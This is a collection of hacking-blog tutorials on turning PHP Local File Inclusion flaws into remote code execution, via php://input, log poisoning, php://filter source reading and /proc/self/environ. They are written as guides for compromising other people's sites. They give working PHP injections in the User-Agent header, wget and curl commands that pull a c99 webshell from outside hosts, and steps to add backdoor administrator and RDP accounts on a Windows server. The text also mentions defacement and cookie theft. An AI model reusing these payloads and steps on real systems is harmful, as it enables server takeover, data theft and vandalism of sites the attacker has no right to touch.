BURP SUITE - Part VI: More Fun Exploiting LFI with PHP:// Filters

BURP SUITE - Part VI: More Fun Exploiting LFI with PHP:// Filters

OK previously I have shown you a few ways you can exploit LFI vulnerabilities. We covered how to gain shell access through /proc/self/environ, how to read source through php://filters , and also how to gain command execution through log poisoning technique. Now today I am going to show you one last method which is much less known about and even less documented. I am going to show you how we can exploit LFI vulnerabilities by abusing the php://input filter this time. The php://input filter is designed to handle the data from POST request as its argument. If you follow the link above you will find it described as: (php://input) “is a read-only stream that allows you to read raw data from the request body. In the case of POST requests, it is preferable to use php://input instead of $HTTP_RAW_POST_DATA as it does not depend on special php.ini directives”. We will abuse this feature to execute PHP code thanks to the include() vulnerability we are exploiting (in similar fashion to how the /proc/self/environ method works). I have seen this method included in a few tools and I will admit I had to tear FIMAP apart to truly figure out how it was getting this technique to actually work which is why I want to share this with everyone, as I assume I am not the only one who is unaware of this technique and how it can be implemented to successfully turn Local File Inclusion (LFI) into Remote Code Execution (RCE), most notable but certainly not limited to - Windows targets.  I will show you how it works using Burp Suite so you can more clearly see how the requests are formed and code injected manually, here goes…

Pre-requisites:

·         LFI Vulnerability

·         Burp Suite, cURL, Tamper Data, Live HTTP Headers, or some other means to easily make POST requests and control the data sent with it – I will be using Burp Suite for this write up and curl in the bonus video. If you need help in coming up to speed with Burp Suite you might want to check out some of my other tutorials I have done:

o   Burp Suite - Part I: Intro to Burp via SQL Injection 

o   Burp Suite – Part II: SQL Authentication Bypass

o   Burp Suite – Part III: LFI Exploit through /proc/self/environ

o   Burp Suite – Part IV: Log File Poisoning

o   PHP://FILTERS to Read Source Code through LFI 

·         Updated HR’s Burp Pack Download, available here: http://www.megaupload.com/?d=LP7Z7E2K

·         A Brain J

OK, so today I will be using this method against a Windows target to show you that LFI vulnerabilities can be abused on Windows just as badly as they can on a *nix machine – just because we can’t find /etc/passwd doesn’t mean we can get things going, watch and learn my friends. I will assume after all my previous LFI coverage that you can spot a potential LFI now and know what to look for. We will start from the initial find and work our way to command execution:

OK our initial request for /etc/passwd fails but gives us a few clues that we are up against a Windows machine. This means that /proc/self/environ method is out. You can use “C:\boot.ini” or “C:\WINDOWS\win.ini” as the Windows universal equivalent to /etc/passwd for a simple LFI base file check:

We can then try to find juicy Windows files using my new LFI-WinblowsFileCheck.txt file I added to my Burp Suite download pack (link available at the top and bottom of this tutorial). My new list is especially helpful when the target is also known to be running under XAMPP setup as I personally set things up locally and tested things until I had every possible file I could think of to potentially gain juicy info from.

 In this scenario I was able to find several juicy files which held helpful information, but alas I was not able to successfully gain access to any of the log files. The apache log files caused errors to be thrown which made them unusable and the FTP & Mail log files appear to be on another drive which I can’t successfully access through the LFI. I can use php://filters method to read source code but alas I can only find a few PHP pages even on the site and can’t seem to locate any low hanging fruits by guessing for configuration files L.

Do we give up and move to the next site? Hell no! We never give up and we leave no stone unturned! As we can use php://filters to read source code we will now try one last trick and see if we can abuse another filter which I have yet to introduce you to and that is the php://input filter. This filter is designed to handle data sent via POST request and when we abuse it with our include() vulnerability we can exploit the conditions to turn our LFI into full RCE or Remote Code Execution! In order to get things working we flip our request from a GET request to a POST request. We then replace our file names we have been requesting with php://input and then we place our code below the other header info so it is the data being read by php://input.  

Mini-TuT: 101 on GET vs. POST request because you need to understand how to flip the request properly or it wont work correctly, so here is the minimum you need to understand and get started:

HTTP is a request-response protocol, with many built in methods which allow it make all types of requests. The two most common of those methods are GET and POST requests and is all I will focus on for now...

A GET request fetches data from the web server. Here's an example request:

                GET /index.html?username=joesomebody&passwd=supersecret HTTP/1.1

                Host: www.samplesite.com

                User-Agent: Mozilla/4.0

You don’t need to include anything else as everything for the GET request is in the URL itself and header details. This is where the variance becomes notable as POST requests do send additional data to the web server. Here is an example of a POST request:

                POST /login.php HTTP/1.1

                Host: www. samplesite.com

                User-Agent: Mozilla/4.0

                Content-Length: 39

                Content-Type: application/x-www-form-urlencoded

                username=joesomebody&passwd=supersecret

You can clearly see a difference in the structure of the request. We place a POST instead of a GET obviously with the URL pointing to the page we want to send our data to. We then have our Host header to identify the target site so that when paired with the URL page we get a working link. The User-Agent field is fairly self-explanatory, although it is worth mentioning you can spoof this or even use to inject code in some cases (see some of my other LFI tutorials for examples). We then define the Content-Length which is a count of the characters used in our data stream. The default Content-Type should be set to application/x-www-form-urlencoded followed by a blank line and then you can insert your data to send. POST requests typically alter the web server in some way whereas GET requests do not.

Back to the main TuT…

As in many of my other tutorials I like to start small and then work our way up to full shell access so we begin by just checking to see if we can we use injected code to echo some text to the page (Hood3dRob1n in this case), your request should look similar to this:

NOTE: we use the PHP chr() function to send ascii characters one at a time for the echo command

OK, we can clearly see our text being displayed meaning our echo command was successfully injected. Again this is done because php://input takes the data as an argument and since we are inside of the include() vulnerability it causes the code to become executable. We can now modify our code to inject whatever code you like, just remember in this case it is a Windows environment so commands need to be adjusted accordingly. We can quickly check our user status by issuing a quick “whoami” request, like so:

As you can see we are running in this case as the NT AUTHORITY/SYSTEM user, which is the Windows equivalent of root user. Now we can issue a systeminfo command to see what we have gotten into:

And then follow up with DIR commands and take a look around…

 Now since it is a Windows machine we may or may not be able to use WGET or CURL to get a shell on the target site. If you can’t do this then we will try to use our RCE ability to add a user and then use RDP to simply login and do our thing. In this scenario I can’t load a shell so we will do it the long way. We first check to see who is in the administrator group already with a quick windows command:

OK, so now we need to get our name on the list. We use some more Windows command line kung-fu and add a user to the machine, like so:

Now we check the cool guy list once more to confirm we are now on the list:

w00t – we made to the cool guy group! Ok we are almost done…now that we have admin level user created we will grant them access to the Remote Desktop Users group so we can use RDP to get full GUI access to the site. In order to do this we again alter our commands slighty and add our new user to the group like so:

Now that we have added a user we need to add them to the administrator group so we can get on the cool guy list, we do this by adjusting our command slightly as so:

OK, now we need to open up a command prompt or terminal on our local machine and issue a quick PING request to the target site so we can confirm the IP address to which we will RDP into, should appear something similar to the following (point is to get the sites IP):

 Once we have the IP address for our Windows target we can simply open up our RDP connection manager and connect using our new account credentials we made in the steps outlined above:

At this point you have pretty much got full control thanks to wonderful old Windows. If things fail due to RDP Service not being enabled you can try to inject this command and to enable it:

And if you’re too impatient you can simply restart the machine yourself all though this may cause a few red flags to go off and may also possible lead to data loss on the remote target so use with some caution…

You can use your RDP GUI access to do what you want now or you can do it all from the LFI command execution one by one, whatever floats your boat. This sums up my coverage of the LFI php://input filter technique and how it can be used to exploit Windows systems (It can also be used against *nix but I mainly engage this technique against Windows targets). I hope you have enjoyed this tutorial and as always and until next time – Enjoy!

credits-kaotic

Read More

BURP SUITE - PART IV: LFI EXPLOIT via LOG INJECTION

OK so today I will extend our Burp Suite & LFI series to now cover how we can use the Burp Suite tools to exploit LFI vulnerability through LOG INJECTION technique. It will follow a very similar process to my previous tutorial on exploiting via /proc/self/environ but we will be working with different files. Here goes…

PREREQUISITES:

·         LFI Vulnerable Site

·         Burp Suite Tool: http://portswigger.net/burp/download.html

o   HR’s Burp Suite Pack - Part II (Now Updated) 

·         Working knowledge of Burp Suite tools and LFI vulnerabilities. If you need some refreshers you can check my previous Burp tutorials or use our old fried Google:

o   Burp Part I – General Intro via SQL Injection: http://kaoticcreations.blogspot.com/2011/11/burp-suite-part-i-intro-via-sql.html

o   Burp Part II – SQL Auth Bypass Technique: http://kaoticcreations.blogspot.com/2011/11/burp-suite-part-ii-sql-authentication.html

o   Burp Part III – LFI Exploitation via /proc/self/environ: http://kaoticcreations.blogspot.com/2011/12/burp-suite-part-iii-lfi-exploitation.html

o   Manual LFI EXploiation via /proc/self/environ: http://kaoticcreations.blogspot.com/2011/12/exploiting-lfi-vulnerabilities-via.html

o   LFI Trick to read source code using php://filters: http://kaoticcreations.blogspot.com/2011/12/lfi-tip-how-to-read-source-code-using.html

·         A brain J

We start off by noticing our site has a link which is pointing to a file on ther server. We do a quick check as outlined in previous tutorials for the /etc/passwd file as well as /proc/self/environ. We find we have access to the /etc/passwd file but we don’t have access to /proc/self/environ (or it just isn’t proper access to load a shell as shown in previous write up). I will now show you how we can try another method to see if we can load a shell on the remote site via LFI technique known as LOG INJECTION. Essentially we will enumerate possible files on the remote server in hopes of finding log files which we can then use to manipulate and inject our code on. When the log files are called using our LFI vuln the injected code will be executed. In the end we will exploit this to load a shell on the site. Here is the walk through of how it should be done, I will start with our initial find and work from there…

We found LFI and can access a few files, I will start with /etc/passwd:
EXAMPLE: http://www.site.com/showfile.php?FILE=/etc/passwd

From here we will use Burp Suite to quickly enumerate all possible files we might be able to access. If you download HR’s Burp Pack Part II then you can use the /LFI/LFI-LogFileCheck.txt as your payload with the INTRUDER tool, and then we load the /Grep/lfi.txt file for our grep options which will help us in locating not only /etc/passwd files but also log files (in the updated download). If you want to search for all possible juicy files on the system you could run the /LFI/LFI-InterestingFiles.txt as the payload instead which will check for pretty much everything. Here the quick steps to setup properly for log file check:

Stage the request by sending it to the INTRUDER tab:

Prep your positioning for payload and attack:

 Once positions are set we need to select our payload. If you use my download then you can use the /LFI/LFI-LogFileCheck.txt as your payload to run a check specifically for log files. If you prefer to run a broader check for pretty much all files then you might try using the /LFI/LFI-InterestingFiles.txt as payload option instead, you can edit any of the files to your hearts content to customize further.

Select Payload for runtime file:

Set grep settings to aid in picking up success and failure:

Run the INTRUDER tool...

When we run the INTRUDER tool we will look for the results on our grep as well as the size of the returned requests. We do this as the grep file has a ton of useful items in which commonly show up in /etc files as well as log files (based on my experience). Additionally the size of the returned request will often times be the quickest indicator we have found a log file, as they will almost always be expontentially larger than the other requests in size based on the content included.

NOTE: In some cases the log file may be present but unreachable due to memory allocation restrictions on the remote server, not much to do about this.

If successful you will end up with something similar to one of these:
EXAMPLE ACCESS LOGS: http://www/site.com/showfile.php?FILE=/var/log/httpd/access_log

Once you have found the log files on the server you will need to review them for a few crucial elements which may or may not play a role in your being successful pulling this technique off:

·         How up to date are the log files?

·         What information seems to be included in the log files?

o   Can we see referrer details in the log info?

o   Can we see user-agent details in the log info?

o   If you view source does the most current log record appear to be junked up by any open ended html tags?

o   Any signs of other injection attacks by previous hackers?

All of this information helps us to build our attack. If you are lucky you will have logs which are fully up to date and clean, which makes things much easier. If the logs are delayed then you may actually have to wait for the code injections to actually take place and results become visible (continue checking back). If there are HTML tags caused by log records then you may have to get creative and find a way to close them out with your own injection into the logs to do so. You will want to do this before you start trying to inject code, as otherwise it will be ignored and read as HTML (hint you can also occasionally see XSS injections executed this way in admin log files when they go to review – bam alert…or worse cookie theft!) In order to start we send our request to the repeater to allow us to test first to see if we can inject a request to phpinfo(). We will inject our PHP code via the User-Agent field for this tutorial, but in some instances you may need to try injecting your code via the Referrer field or even the cookie (again this will be better determined by the results of those simple questions above, use some logic to make a decision). Either way it flows like this:

REQUEST TO KNOWN FILE WITH PHP COMMAND INJECTED INTO USER-AGENT FIELD (I use the access log itself here since we found it already and we are also using it to read results so its win-win):

NOTE: for this example I had up to date logs and had better results returning request fields via the access log as opposed to the error log, again you have to interpret the page results and make an informed decision (trial and error helps too). If successful you will see the phpinfo() returned in the log file, like so:

If this works, we continue to check for further code injection. I like to test the ID and UNAME before I go for the kill shot. We continue to use Burp Suite and REPEATER tool at this point to continue altering our request. We now alter the request slightly and resend:

CHANGE:

User-Agent: <?php phpinfo(); ?>

TO:
User-Agent: <?system('uname -a');?>

This is fantastic! We can read the results of the command injection right from the log file itself. This can be seen either from the Burp Suite console itself or you can navigate to it in your browser after injecting to see it for yourself (or if you are doing this manually just use Browser and Add-ons to change referrer or user-agent fields with code and search page for results). 

OK, now I like to do a quick check of what is going on behind the scenes as well as test a few more commands so I typically will issue “ls- lua” command and review the results, the process will work the same for pretty much any commands you issue but here is some sample results to show you how clear the results come back:

NOTE: the above can also help if you have problems writing to a certain location in the next step…

OK so we can inject commands, now we will go for the kill and see if we can successfully inject command to reach out to a remote location to download a shell and then rename it on the site so we can access for further site compromise. You can use CURL or WGET to accomplish this task, if you need reference syntax check their site or my previous tutorial on /proc/self/environ method. Here is an example of what the CURL method looks like (WGET was not working in this case):

As you can see we don’t have any real visual guidance that it has been successful or not, so you need to check the new file manually. If you can’t find it easily you can always try calling it via the original LFI vulnerable link (i.e. http://www.site.com/showfile.php?FILE=shell.php). You can also use the Spider feature in Burp Suite to quickly assess the sites infrastructure in effort to find your shell. Simply click on Target tab within Burp and then right click www.yoursite.com and chose the “spider host from here” option:

NOTE: you can alter the settings for this approach on the scope tab as well as the spider tabs

This is especially helpful for finding shells with authentication requirements as well as general admin pages as you will get a prompt for any authentication pages as it requests you provide details or choose to ignore, thus giving away its location (it’s one of my secret ninja tricks)….Then you simply go to your shell:

w00t - you have successfully injected a shell through LFI LOG INJECTION technique! I hope you have found this write-up informative, insightful and educational. You now have web-shell with control over the site which can allow you to further escalate privileges, deface index, etc - pretty much game over at this point! I think this wraps up my coverage of LFI vulnerabilities and exploits, but I will continue to pursue further scenarios where Burp Suite can be used in the future so stay tuned and check back oftent to see what else I put out there. If you have suggestions, comments, and/or questions do let me know by leaving a comment or sending me a message. As always and until next time, Enjoy!

credits-kaotic!

Read More

LFI TIP: HOW TO READ SOURCE CODE USING PHP://FILTER

LFI TIP: HOW TO READ SOURCE CODE USING PHP://FILTER

OK so you wont be able to shell a site everytime you find a LFI vulnerability. That being said doesn’t mean we still cant work on a few other methods and still manage to walk away with some valuable information. Today I will show you briefly another method which can be leveraged when you find an LFI vulnerability to get that job done through the use of php:// filters…

OK so you have found your LFI link but cant get access to logs or conditions aren’t right for gaining shell access:

OK, well before you give up and go report the site is only mildly vulnerable we will test further to see if we can read any of the target servers files. We will use a method to view the source of any PHP file through the use of the PHP filter wrapper function “php://filter/convert.base64_encode/resource=” which has been available since PHP 5.0.0. The syntax to use works like this:

SYNTAX:

http://www.site.com/vulnpage.php?page=php://filter/convert.base64-encode/resource=FileNameToRead

I should note that in most cases include function will append the “.php” to your FileNameToRead BUT in some cases you may need to define this in your injection by also including the file ending (.php). Through this method it forces PHP to base64 encode the target file before excecuting and then returning that encoding to us. We can then simply decode the results after this with our favorite tool and obtain the source code of the PHP files on the target site.

RETURNED RESULT:

PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMC8vRU4iPgo8aHRtbD4KPGhlYWQ+CiAgPHRpdGxlPk15IEZpcnN0IFRlc3QgU2l0ZTwvdGl0bGU+CiAgPE1FVEEgSFRUUC1FUVVJVj0iUmVmcmVzaCIgQ09OVEVOVD0iMTsgVVJMPWh0dHA6Ly90ZXN0c2l0ZS5jb20vaW5kZXgucGhwIj4KPC9oZWFkPgo8Ym9keT4KPGRpdiBhbGlnbj0iY2VudGVyIj4KICAgIElmIHlvdSBhcmUgbm90IHJlZGlyZWN0ZWQgcGxlYXNlIGNsaWNrIDxhIGhyZWY9IiBodHRwOi8vdGVzdHNpdGUuY29tL2luZGV4LnBocCAiPmhlcmU8L2E+Lgo8L2Rpdj4KPC9ib2R5Pgo8L2h0bWw+

If we base64 decode the results, we see the actual source code:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">

<html>

<head>

  <title>My First Test Site</title>

  <META HTTP-EQUIV="Refresh" CONTENT="1; URL=http://testsite.com/index.php">

</head>

<body>

<div align="center">

    If you are not redirected please click <a href=" http://testsite.com/index.php ">here</a>.

</div>

</body>

</html>

You can now go through source code to review for further code exploits, SQL injections, or enumerate for configuration files and try to grab juicy connection credentials. The options are up to you, but thought I would add this to the LFI series since I have not seen it discussed very much. Hope you were able to follow along and until next time…Enjoy!

credits-kaotic

Read More

EXPLOITING LFI VULNERABILITIES

EXPLOITING LFI VULNERABILITIES via /PROC/SELF/ENVIRON
credits-kaotic

I previously covered how to exploit LFI vulnerabilities with FIMAP but have received some questions from folks due to FIMAP not always picking the injection points up. Automated tools are nice but if you don’t know how to do it manually then you can miss a lot of possible vulnerabilities and opportunities you can leverage to exploit your target (plus its good to know what goes on behind the scenes). Today I am going to show you how to perform LFI exploitation through the /proc/self/environ method. Here goes…

OK, so first we walk through our site and we notice a link which seems to be referencing another document on the server. This is a good place to start investigating potential LFI vulnerabilities.

http://www.site.com/index.php

We click on "Contact Us">>leads us to...

http://www.site.com/index.php?page=contact.php&title=ContactUs

NOTE: page= appears to reference to another document on server (in this case contacts.php)

Let us see what happens if we replace the standard link with some arbitrary data:

              http://www.site.com/index.php?page=1

Now let us try to reference a real document which we know to be on all unix machines, /etc/passwd:

Voila! We can read the /etc/passwd file through LFI! This is good, but now we need to check to see if /proc/self/environ is accessible. If it is we can leverage it to get a shell on the target site. If it is not then we will need to further investigate which files we can access and then see if we can inject into any of them. I will only be focusing on the /proc/self/environ method for now, but may write another follow up in future to cover some of the other methods which can be used for LFI takeover. OK, so now we check for existance of /proc/self/environ:

NOTE the “DOCUMENT_ROOT=[VALUE]” on the returned page. This is the key indicator that we have access to the /proc/self/environ which we can now leverage to put a shell on the target site. We will accomplish this by injecting our PHP code into the User Agent field when we request this file again. Due to the way this is processed it will inject our code and then we can use to further escalate priveleges. We will now inject this code into our page request for /proc/self/environ and refresh the page.

Inject PHP code in UA field, like one of these:

We can now read the results of any of the commands we pass through in the User-Agent field, it will look similar to this:

ID: <?system('id');?>

UNAME: <?system('uname -a');?>

UPLOAD SHELL WITH WGET: <?system('wget http://www.sh3ll.org/c99.txt -O shell.php');?>

OR

UPLOAD SHELL WITH CURL: <?system('curl -o shell.php http://www.sh3ll.org/c99.txt');?>

NOTE: to inject the code into the User-Agent field you will need a add-on for your browser such as Live HTTP Headers, Tamper Data, or Burp Suite.

Once our code is injected we simply navigate to the webshell we just uploaded, should be located in site.com/shell.php unless you instructed it to go elsewhere when you used your WGET or CURL command for shell download. If your lucky when you go to your shell you will be greeted with something similar to this:

Now that you have a shell on the site you are fairly free to do what you want. I hope you have enjoyed another brief tutorial on LFI. I will try to work on follow up articles covering Log Injection methd and one or two more methods that can be used when the conditions are right. Until next time, enjoy!

Read More

LFI (Local File Inclusion)

1 – Introduction

In this tutorial I show you how to get a shell on websites using Local File Inclusion vulnerabilities and
injection malicious code in proc/self/environ.Is a step by step tutorial.

2 – Finding LFI

- Now we are going to find a Local File Inclusion vulnerable website.So we found our target,lets check it.
www.website.com/view.php?page=contact.php
- Now lets replace contact.php with ../ so the URL will become
www.website.com/view.php?page=../
and we got an error
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337
big chances to have a Local File Inclusion vulnerability.Let’s go to next step.

- Now lets check for etc/passwd to see the if is Local File Inclusion vulnerable.Lets make a request :
www.website.com/view.php?page=../../../etc/passwd
we got error and no etc/passwd file
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337
so we go more directories up
www.website.com/view.php?page=../../../../../etc/passwd
we succesfully included the etc/passwd file.
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin
3 – Checking if proc/self/environ is accessible

- Now lets see if proc/self/environ is accessible.We replace etc/passwd with proc/self/environ
www.website.com/view.php?page=../../../../../proc/self/environ
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80
proc/self/environ is accessible.If you got a blank page,an error proc/self/environ is not accessible or the OS is FreeBSD.

4 – Injecting malicious code

- Now let’s inject our malicious code in proc/self/environ.How we can do that?We can inject our code in User-Agent HTTP Header.
Use Tamper Data Addon for Firefox to change the User-Agent.Start Tamper Data in Firefox and request the URL :
www.website.com/view.php?page=../../../../../proc/self/environ
Choose Tamper and in User-Agent filed write the following code :
<?system(‘wget http://hack-bay.com/Shells/gny.txt -O shell.php’);?>
{The Unknown: the link of the shell used has expired, use the Link I posted at the end of this Thread}

Then submit the request.

Our command will be executed (will download the txt shell from http://hack-bay.com/Shells/gny.txt {The Unknown: the link of the shell used has expired, use the Link I posted at the end of this Thread} and will save it as shell.php in the
website directory) through system(), and our shell will be created.If don’t work,try exec() because system() can be disabled on the webserver from php.ini.

5 – Access our shell

- Now lets check if our malicous code was successfully injected.Lets check if the shell is present.
www.website.com/shell.php
Our shell is there.Injection was succesfully.

Read More